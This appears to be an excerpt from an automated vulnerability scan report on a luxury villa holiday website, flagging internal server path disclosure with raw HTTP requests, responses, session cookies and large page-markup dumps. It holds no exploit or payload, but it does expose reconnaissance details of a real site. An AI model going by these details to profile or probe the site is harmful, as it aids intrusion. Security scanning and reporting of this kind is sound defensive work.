background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="s..

[Possible] Internal Path Leakage (*nix)

150 TOTAL

INFORMATION

Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

Error messages should be disabled.
Remove this kind of private data from the output.

External References

OWASP - Full Path Disclosure

- /villas.php

/villas.php

http://theholidaygroup.com/villas.php

Identified Internal Path(s)

/home/chroot/home/james/villas/villas.php

Request

Response

- /luxury%20holidays/Altinkum%20villas

/luxury%20holidays/Altinkum%20villas

http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas

Identified Internal Path(s)

/home/chroot/home/james/thehol/top/top.php

Request

GET /luxury%20holidays/Altinkum%20villas HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:07:43 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Set-Cookie: PHPSESSID=19vaufch1qda9e8thfvfevpfsmljhjnu; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 10943
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<html><head><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Altinkum Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" titl..

- /luxury%20holidays/

GET /luxury%20holidays/resort.php HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Date: Tue, 01 Mar 2011 19:07:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: resort.php
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 9071
Content-Type: text/html

<html><head><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img 